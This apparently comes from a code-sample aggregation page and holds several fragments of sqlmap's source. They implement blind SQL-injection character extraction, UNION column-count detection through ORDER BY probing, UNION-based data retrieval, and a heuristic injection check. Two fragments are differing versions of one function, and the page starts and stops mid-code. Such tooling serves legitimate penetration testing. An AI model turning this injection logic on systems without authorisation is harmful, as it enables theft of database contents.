        elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
            firstChar = 0
        elif dump and conf.firstChar is not None and (isinstance(
                conf.firstChar, int) or (isinstance(conf.firstChar, basestring)
                                         and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
        elif isinstance(firstChar,
                        basestring) and firstChar.isdigit() or isinstance(
                            firstChar, int):
            firstChar = int(firstChar) - 1
        else:
            firstChar = 0

        if "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
            lastChar = 0
        elif dump and conf.lastChar is not None and (isinstance(
                conf.lastChar, int) or (isinstance(conf.lastChar, basestring)
                                        and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
        elif isinstance(lastChar,
                        basestring) and lastChar.isdigit() or isinstance(
                            lastChar, int):
            lastChar = int(lastChar)
        else:
            lastChar = 0

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr,
                                                    nulledCastedField, 1)
            expressionUnescaped = unescaper.escape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.escape(expression)

        if isinstance(length, basestring) and length.isdigit() or isinstance(
                length, int):
            length = int(length)
        else:
            length = None

        if length == 0:
            return 0, ""

        if length and (lastChar > 0 or firstChar > 0):
            length = min(length, lastChar or length) - firstChar

        if length and length > MAX_BISECTION_LENGTH:
            length = None

        showEta = conf.eta and isinstance(length, int)
        numThreads = min(conf.threads, length)

        if showEta:
            progress = ProgressBar(maxValue=length)

        if timeBasedCompare and conf.threads > 1:
            warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
            singleTimeWarnMessage(warnMsg)

        if numThreads > 1:
            if not timeBasedCompare:
                debugMsg = "starting %d thread%s" % (numThreads,
                                                     ("s" if numThreads > 1
                                                      else ""))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
            warnMsg = "running in a single-thread mode. Please consider "
            warnMsg += "usage of option '--threads' for faster data retrieval"
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
            if isinstance(length, int) and conf.threads > 1:
                dataToStdout("[%s] [INFO] retrieved: %s" %
                             (time.strftime("%X"),
                              "_" * min(length, conf.progressWidth)))
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
            else:
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))

        hintlock = threading.Lock()

        def tryHint(idx):
            with hintlock:
                hintValue = kb.hintValue

            if hintValue is not None and len(hintValue) >= idx:
                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS,
                                                   DBMS.MAXDB, DBMS.DB2):
                    posValue = hintValue[idx - 1]
                else:
                    posValue = ord(hintValue[idx - 1])

                forgedPayload = safeStringFormat(
                    payload.replace(INFERENCE_GREATER_CHAR,
                                    INFERENCE_EQUALS_CHAR),
                    (expressionUnescaped, idx, posValue))
                result = Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return hintValue[idx - 1]

            with hintlock:
                kb.hintValue = None

            return None

        def validateChar(idx, value):
            """
            Used in time-based inference (in case that original and retrieved
            value are not equal there will be a deliberate delay).
            """

            if CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(
                    payload.replace(INFERENCE_GREATER_CHAR,
                                    INFERENCE_NOT_EQUALS_CHAR),
                    (expressionUnescaped, idx, value))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = "'%s'" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape(
                    "'%s'" % decodeIntToUnicode(value))
                forgedPayload = safeStringFormat(
                    payload.replace(INFERENCE_GREATER_CHAR,
                                    INFERENCE_NOT_EQUALS_CHAR),
                    (expressionUnescaped, idx)).replace(
                        markingValue, unescapedCharValue)

            result = Request.queryPage(forgedPayload,
                                       timeBasedCompare=timeBasedCompare,
                                       raise404=False)
            incrementCounter(kb.technique)

            return not result

        def getChar(idx,
                    charTbl=None,
                    continuousOrder=True,
                    expand=charsetType is None,
                    shiftTable=None):
            """
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(asciiTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
                charTbl.remove(ord('\n'))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(
                    payload.replace(INFERENCE_GREATER_CHAR,
                                    INFERENCE_EQUALS_CHAR),
                    (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]

            while len(charTbl) != 1:
                position = (len(charTbl) >> 1)
                posValue = charTbl[position]

                if CHAR_INFERENCE_MARK not in payload:
                    forgedPayload = safeStringFormat(
                        payload, (expressionUnescaped, idx, posValue))
                else:
                    # e.g.: ... > '%c' -> ... > ORD(..)
                    markingValue = "'%s'" % CHAR_INFERENCE_MARK
                    unescapedCharValue = unescaper.escape(
                        "'%s'" % decodeIntToUnicode(posValue))
                    forgedPayload = safeStringFormat(
                        payload, (expressionUnescaped, idx)).replace(
                            markingValue, unescapedCharValue)

                result = Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(kb.technique)

                if result:
                    minValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[position:]
                    else:
                        # xrange() - extended virtual charset used for memory/space optimization
                        charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                else:
                    maxValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[:position]
                    else:
                        charTbl = xrange(charTbl[0], charTbl[position])

                if len(charTbl) == 1:
                    if continuousOrder:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(
                                    maxChar + 1,
                                    (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (
                                    retVal == ord('\n')
                                    and CHAR_INFERENCE_MARK in payload):
                                if timeBasedCompare and not validateChar(
                                        idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    kb.timeValidCharsRun = 0
                                    if (conf.timeSec - kb.originalTimeDelay
                                        ) < MAX_TIME_REVALIDATION_STEPS:
                                        errMsg = "invalid character detected. retrying.."
                                        logger.error(errMsg)

                                        conf.timeSec += 1

                                        warnMsg = "increasing time delay to %d second%s " % (
                                            conf.timeSec,
                                            's' if conf.timeSec > 1 else '')
                                        logger.warn(warnMsg)

                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                            dbgMsg = "turning off time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl,
                                                       continuousOrder, expand,
                                                       shiftTable)
                                    else:
                                        errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(
                                            retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        kb.timeValidCharsRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = "turning back on time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
                    else:
                        if minValue == maxChar or maxValue == minChar:
                            return None

                        # If we are working with non-continuous elements, set
                        # both minValue and character afterwards are possible
                        # candidates
                        for retVal in (
                                originalTbl[originalTbl.index(minValue)],
                                originalTbl[originalTbl.index(minValue) + 1]):
                            forgedPayload = safeStringFormat(
                                payload.replace(INFERENCE_GREATER_CHAR,
                                                INFERENCE_EQUALS_CHAR),
                                (expressionUnescaped, idx, retVal))
                            result = Request.queryPage(
                                forgedPayload,
                                timeBasedCompare=timeBasedCompare,
                                raise404=False)
                            incrementCounter(kb.technique)

                            if result:
                                return decodeIntToUnicode(retVal)

                        return None

        # Go multi-threading (--threads > 1)
        if conf.threads > 1 and isinstance(length, int) and length > 1:
            threadData = getCurrentThreadData()

            threadData.shared.value = [None] * length
            threadData.shared.index = [
                firstChar
            ]  # As list for python nested function scoping
            threadData.shared.start = firstChar

            try:

                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        kb.locks.index.acquire()

                        if threadData.shared.index[0] - firstChar >= length:
                            kb.locks.index.release()

                            return

                        threadData.shared.index[0] += 1
                        curidx = threadData.shared.index[0]
                        kb.locks.index.release()

                        if kb.threadContinue:
                            charStart = time.time()
                            val = getChar(curidx)
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        with kb.locks.value:
                            threadData.shared.value[curidx - 1 -
                                                    firstChar] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                progress.progress(time.time() - charStart,
                                                  threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex,
                                                endCharIndex + 1):
                                    output += '_' if currentValue[
                                        i] is None else currentValue[i]

                                for i in xrange(length):
                                    count += 1 if currentValue[
                                        i] is not None else 0

                                if startCharIndex > 0:
                                    output = '..' + output[2:]

                                if (endCharIndex - startCharIndex
                                        == conf.progressWidth) and (
                                            endCharIndex < length - 1):
                                    output = output[:-2] + '..'

                                if conf.verbose in (
                                        1, 2) and not showEta and not hasattr(
                                            conf, "api"):
                                    _ = count - firstChar
                                    output += '_' * (
                                        min(length, conf.progressWidth) -
                                        len(output))
                                    status = ' %d/%d (%d%%)' % (
                                        _, length, round(100.0 * _ / length))
                                    output += status if _ != length else " " * len(
                                        status)

                                    dataToStdout(
                                        "\r[%s] [INFO] retrieved: %s" %
                                        (time.strftime("%X"),
                                         filterControlChars(output)))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = [_ for _ in partialValue]
                value.extend(_ for _ in threadData.shared.value)

            infoMsg = None

            # If we have got one single character not correctly fetched it
            # can mean that the connection to the target URL was lost
            if None in value:
                partialValue = "".join(value[:value.index(None)])

                if partialValue:
                    infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (
                        time.strftime("%X"), filterControlChars(partialValue))
            else:
                finalValue = "".join(value)
                infoMsg = "\r[%s] [INFO] retrieved: %s" % (
                    time.strftime("%X"), filterControlChars(finalValue))

            if conf.verbose in (1,
                                2) and not showEta and infoMsg and not hasattr(
                                    conf, "api"):
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
        else:
            index = firstChar

            while True:
                index += 1
                charStart = time.time()

                # Common prediction feature (a.k.a. "good samaritan")
                # NOTE: to be used only when multi-threading is not set for
                # the moment
                if conf.predictOutput and len(
                        partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(
                        partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.escape(
                            "'%s'" % commonValue
                        ) if "'" not in commonValue else unescaper.escape(
                            "%s" % commonValue, quote=False)

                        query = kb.injection.data[kb.technique].vector
                        query = agent.prefixQuery(
                            query.replace(
                                "[INFERENCE]",
                                "(%s)=%s" % (expressionUnescaped, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(
                            agent.payload(newValue=query),
                            timeBasedCompare=timeBasedCompare,
                            raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            if showEta:
                                progress.progress(time.time() - charStart,
                                                  len(commonValue))
                            elif conf.verbose in (1, 2) or hasattr(
                                    conf, "api"):
                                dataToStdout(
                                    filterControlChars(commonValue[index -
                                                                   1:]))

                            finalValue = commonValue
                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms(
                        )].substring.query % (expressionUnescaped, 1,
                                              len(commonPattern))
                        testValue = unescaper.escape(
                            "'%s'" % commonPattern
                        ) if "'" not in commonPattern else unescaper.escape(
                            "%s" % commonPattern, quote=False)

                        query = kb.injection.data[kb.technique].vector
                        query = agent.prefixQuery(
                            query.replace("[INFERENCE]",
                                          "(%s)=%s" % (subquery, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(
                            agent.payload(newValue=query),
                            timeBasedCompare=timeBasedCompare,
                            raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            val = commonPattern[index - 1:]
                            index += len(val) - 1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset,
                                      otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl)

                if val is None:
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                partialValue += val

                if showEta:
                    progress.progress(time.time() - charStart, index)
                elif conf.verbose in (1, 2) or hasattr(conf, "api"):
                    dataToStdout(filterControlChars(val))

                # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
                if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[
                        -INFERENCE_BLANK_BREAK:].isspace(
                        ) and partialValue.strip(' ')[-1:] != '\n':
                    finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
                    break

                if (lastChar > 0 and index >= lastChar):
                    finalValue = "" if length == 0 else partialValue
                    finalValue = finalValue.rstrip(
                    ) if len(finalValue) > 1 else finalValue
                    partialValue = None
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        kb.prependFlag = False
        kb.stickyLevel = None
        retrievedLength = len(finalValue or "")

        if finalValue is not None:
            finalValue = decodeHexValue(
                finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(
                expression,
                "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else
                          PARTIAL_HEX_VALUE_MARKER, partialValue))

    if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"):
        infoMsg = "\r[%s] [INFO] retrieved: %s  %s\n" % (time.strftime(
            "%X"), filterControlChars(finalValue), " " * retrievedLength)
        dataToStdout(infoMsg)
    else:
        if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
            dataToStdout("\n")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
            infoMsg = "retrieved: %s" % filterControlChars(finalValue)
            logger.info(infoMsg)

    if kb.threadException:
        raise SqlmapThreadException(
            "something unexpected happened inside the threads")

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue
    return getCounter(
        kb.technique), safecharencode(_) if kb.safeCharEncode else _
Example #32
0
                # If there is one single output in common-outputs, check
                # it via equal against the query output
                if commonValue is not None:
                    # One-shot query containing equals commonValue
                    testValue = unescaper.unescape(
                        "'%s'" % commonValue
                    ) if "'" not in commonValue else unescaper.unescape(
                        "%s" % commonValue, quote=False)
                    query = agent.prefixQuery(
                        safeStringFormat("AND (%s) = %s",
                                         (expressionUnescaped, testValue)))
                    query = agent.suffixQuery(query)
                    queriesCount[0] += 1
                    result = Request.queryPage(
                        agent.payload(newValue=query),
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)

                    # Did we have luck?
                    if result:
                        dataToSessionFile(
                            replaceNewlineTabs(commonValue[index - 1:]))

                        if showEta:
                            etaProgressUpdate(time.time() - charStart,
                                              len(commonValue))
                        elif conf.verbose in (1, 2):
                            dataToStdout(commonValue[index - 1:])

                        finalValue = commonValue
Example #33
0
def _findUnionCharCount(comment,
                        place,
                        parameter,
                        value,
                        prefix,
                        suffix,
                        where=PAYLOAD.WHERE.ORIGINAL):
    """
    Finds number of columns affected by UNION based injection
    """
    retVal = None

    @stackedmethod
    def _orderByTechnique(lowerCount=None, upperCount=None):
        def _orderByTest(cols):
            query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query,
                                    place=place,
                                    parameter=parameter,
                                    where=where)
            page, headers, code = Request.queryPage(payload,
                                                    place=place,
                                                    content=True,
                                                    raise404=False)
            return not any(
                re.search(_, page or "", re.I)
                and not re.search(_, kb.pageTemplate or "", re.I) for _ in
                ("(warning|error):", "order (by|clause)", "unknown column",
                 "failed")) and not kb.heavilyDynamic and comparison(
                     page, headers, code) or re.search(
                         r"data types cannot be compared or sorted", page
                         or "", re.I) is not None

        if _orderByTest(
                1 if lowerCount is None else lowerCount) and not _orderByTest(
                    randomInt() if upperCount is None else upperCount + 1):
            infoMsg = "'ORDER BY' technique appears to be usable. "
            infoMsg += "This should reduce the time needed "
            infoMsg += "to find the right number "
            infoMsg += "of query columns. Automatically extending the "
            infoMsg += "range for current UNION query injection technique test"
            singleTimeLogMessage(infoMsg)

            lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
            found = None
            while not found:
                if not conf.uCols and _orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP

                    if highCols > ORDER_BY_MAX:
                        break
                else:
                    while not found:
                        mid = highCols - (highCols - lowCols) // 2
                        if _orderByTest(mid):
                            lowCols = mid
                        else:
                            highCols = mid
                        if (highCols - lowCols) < 2:
                            found = lowCols

            return found

    try:
        pushValue(kb.errorIsNone)
        items, ratios = [], []
        kb.errorIsNone = False
        lowerCount, upperCount = conf.uColsStart, conf.uColsStop

        if kb.orderByColumns is None and (
                lowerCount == 1
                or conf.uCols):  # Note: ORDER BY is not bullet-proof
            found = _orderByTechnique(
                lowerCount, upperCount) if conf.uCols else _orderByTechnique()

            if found:
                kb.orderByColumns = found
                infoMsg = "target URL appears to have %d column%s in query" % (
                    found, 's' if found > 1 else "")
                singleTimeLogMessage(infoMsg)
                return found
            elif kb.futileUnion:
                return None

        if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
            upperCount = lowerCount + MIN_UNION_RESPONSES

        min_, max_ = MAX_RATIO, MIN_RATIO
        pages = {}

        for count in xrange(lowerCount, upperCount + 1):
            query = agent.forgeUnionQuery('', -1, count, comment, prefix,
                                          suffix, kb.uChar, where)
            payload = agent.payload(place=place,
                                    parameter=parameter,
                                    newValue=query,
                                    where=where)
            page, headers, code = Request.queryPage(payload,
                                                    place=place,
                                                    content=True,
                                                    raise404=False)

            if not isNullValue(kb.uChar):
                pages[count] = page

            ratio = comparison(page, headers, code,
                               getRatioValue=True) or MIN_RATIO
            ratios.append(ratio)
            min_, max_ = min(min_, ratio), max(max_, ratio)
            items.append((count, ratio))

        if not isNullValue(kb.uChar):
            for regex in (kb.uChar.strip("'"),
                          r'>\s*%s\s*<' % kb.uChar.strip("'")):
                contains = [
                    count for count, content in pages.items() if re.search(
                        regex, content or "", re.IGNORECASE) is not None
                ]
                if len(contains) == 1:
                    retVal = contains[0]
                    break

        if not retVal:
            if min_ in ratios:
                ratios.pop(ratios.index(min_))
            if max_ in ratios:
                ratios.pop(ratios.index(max_))

            minItem, maxItem = None, None

            for item in items:
                if item[1] == min_:
                    minItem = item
                elif item[1] == max_:
                    maxItem = item

            if all(_ == min_ and _ != max_ for _ in ratios):
                retVal = maxItem[0]

            elif all(_ != min_ and _ == max_ for _ in ratios):
                retVal = minItem[0]

            elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
                deviation = stdev(ratios)

                if deviation is not None:
                    lower, upper = average(
                        ratios) - UNION_STDEV_COEFF * deviation, average(
                            ratios) + UNION_STDEV_COEFF * deviation

                    if min_ < lower:
                        retVal = minItem[0]

                    if max_ > upper:
                        if retVal is None or abs(max_ - upper) > abs(min_ -
                                                                     lower):
                            retVal = maxItem[0]
    finally:
        kb.errorIsNone = popValue()

    if retVal:
        infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
        singleTimeLogMessage(infoMsg, logging.INFO,
                             re.sub(r"\d+", 'N', infoMsg))

    return retVal
Example #34
0
def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve(
        "%s%s" % (conf.hexConvert or False, expression),
        checkConf=True)  # as UNION data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector

        if not kb.rowXmlMode:
            injExpression = unescaper.escape(
                agent.concatQuery(expression, unpack))
            kb.unionDuplicates = vector[7]
            kb.forcePartialUnion = vector[8]
            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1],
                                          vector[2], vector[3], vector[4],
                                          vector[5], vector[6], None, limited)
            where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[
                6]
        else:
            where = vector[6]
            query = agent.forgeUnionQuery(expression, vector[0], vector[1],
                                          vector[2], vector[3], vector[4],
                                          vector[5], vector[6], None, False)

        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers, _ = Request.queryPage(payload,
                                             content=True,
                                             raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        if not kb.rowXmlMode:
            # Parse the returned page to get the exact UNION-based
            # SQL injection output
            def _(regex):
                return firstNotNone(
                    extractRegexResult(regex,
                                       removeReflectiveValues(page, payload),
                                       re.DOTALL | re.IGNORECASE),
                    extractRegexResult(
                        regex,
                        removeReflectiveValues(
                            listToStrValue((
                                _ for _ in headers.headers
                                if not _.startswith(HTTP_HEADER.URI)
                            ) if headers else None), payload, True),
                        re.DOTALL | re.IGNORECASE))

            # Automatically patching last char trimming cases
            if kb.chars.stop not in (page
                                     or "") and kb.chars.stop[:-1] in (page
                                                                       or ""):
                warnMsg = "automatically patching output having last char trimmed"
                singleTimeWarnMessage(warnMsg)
                page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

            retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
        else:
            output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page)
            if output:
                try:
                    root = xml.etree.ElementTree.fromstring(
                        safeStringFormat("<root>%s</root>", getBytes(output)))
                    retVal = ""
                    for column in kb.dumpColumns:
                        base64 = True
                        for child in root:
                            value = child.attrib.get(column, "").strip()
                            if value and not re.match(
                                    r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
                                base64 = False
                                break

                            try:
                                decodeBase64(value)
                            except binascii.Error:
                                base64 = False
                                break

                        if base64:
                            for child in root:
                                child.attrib[column] = decodeBase64(
                                    child.attrib.get(column,
                                                     ""), binary=False) or NULL

                    for child in root:
                        row = []
                        for column in kb.dumpColumns:
                            row.append(child.attrib.get(column, NULL))
                        retVal += "%s%s%s" % (kb.chars.start,
                                              kb.chars.delimiter.join(row),
                                              kb.chars.stop)

                except:
                    pass
                else:
                    retVal = getUnicode(retVal)

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlUnescape(retVal).replace("<br>", "\n")

            hashDBWrite("%s%s" % (conf.hexConvert or False, expression),
                        retVal)

        elif not kb.rowXmlMode:
            trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))

            if trimmed:
                warnMsg = "possible server trimmed output detected "
                warnMsg += "(probably due to its length and/or content): "
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)
    else:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]

    return retVal
Example #35
0
def heuristicCheckSqlInjection(place, parameter):
    if kb.nullConnection:
        debugMsg = "heuristic checking skipped "
        debugMsg += "because NULL connection used"
        logger.debug(debugMsg)
        return None

    if wasLastRequestDBMSError():
        debugMsg = "heuristic checking skipped "
        debugMsg += "because original page content "
        debugMsg += "contains DBMS error"
        logger.debug(debugMsg)
        return None

    origValue = conf.paramDict[place][parameter]

    prefix = ""
    suffix = ""

    if conf.prefix or conf.suffix:
        if conf.prefix:
            prefix = conf.prefix

        if conf.suffix:
            suffix = conf.suffix

    payload = "%s%s%s" % (
        prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
    payload = agent.payload(place, parameter, newValue=payload)
    page, _ = Request.queryPage(payload, place, content=True, raise404=False)

    parseFilePaths(page)
    result = wasLastRequestDBMSError()

    infoMsg = "heuristic test shows that %s " % place
    infoMsg += "parameter '%s' might " % parameter

    def _(page):
        return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS)

    casting = _(page) and not _(kb.originalPage)

    if not casting and not result and kb.dynamicParameter and origValue.isdigit(
    ):
        randInt = int(randomInt())
        payload = "%s%s%s" % (prefix, "%d-%d" %
                              (int(origValue) + randInt, randInt), suffix)
        payload = agent.payload(place,
                                parameter,
                                newValue=payload,
                                where=PAYLOAD.WHERE.REPLACE)
        result = Request.queryPage(payload, place, raise404=False)

        if not result:
            randStr = randomStr()
            payload = "%s%s%s" % (prefix, "%s%s" %
                                  (origValue, randStr), suffix)
            payload = agent.payload(place,
                                    parameter,
                                    newValue=payload,
                                    where=PAYLOAD.WHERE.REPLACE)
            casting = Request.queryPage(payload, place, raise404=False)

    kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE

    if casting:
        errMsg = "possible %s casting " % ("integer"
                                           if origValue.isdigit() else "type")
        errMsg += "detected (e.g. %s=(int)$_REQUEST('%s')) " % (parameter,
                                                                parameter)
        errMsg += "at the back-end web application"
        logger.error(errMsg)

        if kb.ignoreCasted is None:
            message = "do you want to skip those kind of cases (and save scanning time)? %s " % (
                "[Y/n]" if conf.multipleTargets else "[y/N]")
            kb.ignoreCasted = readInput(
                message,
                default='Y' if conf.multipleTargets else 'N').upper() != 'N'

    elif result:
        infoMsg += "be injectable (possible DBMS: %s)" % (
            Format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION)
        logger.info(infoMsg)

    else:
        infoMsg += "not be injectable"
        logger.warn(infoMsg)

    return kb.heuristicTest
Example #36
0
def _findUnionCharCount(comment,
                        place,
                        parameter,
                        value,
                        prefix,
                        suffix,
                        where=PAYLOAD.WHERE.ORIGINAL):
    """
    Finds number of columns affected by UNION based injection
    """
    retVal = None

    def _orderByTechnique():
        def _orderByTest(cols):
            query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query,
                                    place=place,
                                    parameter=parameter,
                                    where=where)
            page, headers = Request.queryPage(payload,
                                              place=place,
                                              content=True,
                                              raise404=False)
            return not re.search(
                r"(warning|error|order by|failed)", page or "",
                re.I) and comparison(page, headers) or re.search(
                    r"data types cannot be compared or sorted", page or "",
                    re.I)

        if _orderByTest(1) and not _orderByTest(randomInt()):
            infoMsg = "ORDER BY technique seems to be usable. "
            infoMsg += "This should reduce the time needed "
            infoMsg += "to find the right number "
            infoMsg += "of query columns. Automatically extending the "
            infoMsg += "range for current UNION query injection technique test"
            singleTimeLogMessage(infoMsg)

            lowCols, highCols = 1, ORDER_BY_STEP
            found = None
            while not found:
                if _orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP
                else:
                    while not found:
                        mid = highCols - (highCols - lowCols) / 2
                        if _orderByTest(mid):
                            lowCols = mid
                        else:
                            highCols = mid
                        if (highCols - lowCols) < 2:
                            found = lowCols

            return found

    pushValue(kb.errorIsNone)
    items, ratios = [], []
    kb.errorIsNone = False
    lowerCount, upperCount = conf.uColsStart, conf.uColsStop

    if lowerCount == 1:
        found = kb.orderByColumns or _orderByTechnique()
        if found:
            kb.orderByColumns = found
            infoMsg = "target URL appears to have %d column%s in query" % (
                found, 's' if found > 1 else "")
            singleTimeLogMessage(infoMsg)
            return found

    if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
        upperCount = lowerCount + MIN_UNION_RESPONSES

    min_, max_ = MAX_RATIO, MIN_RATIO
    pages = {}

    for count in xrange(lowerCount, upperCount + 1):
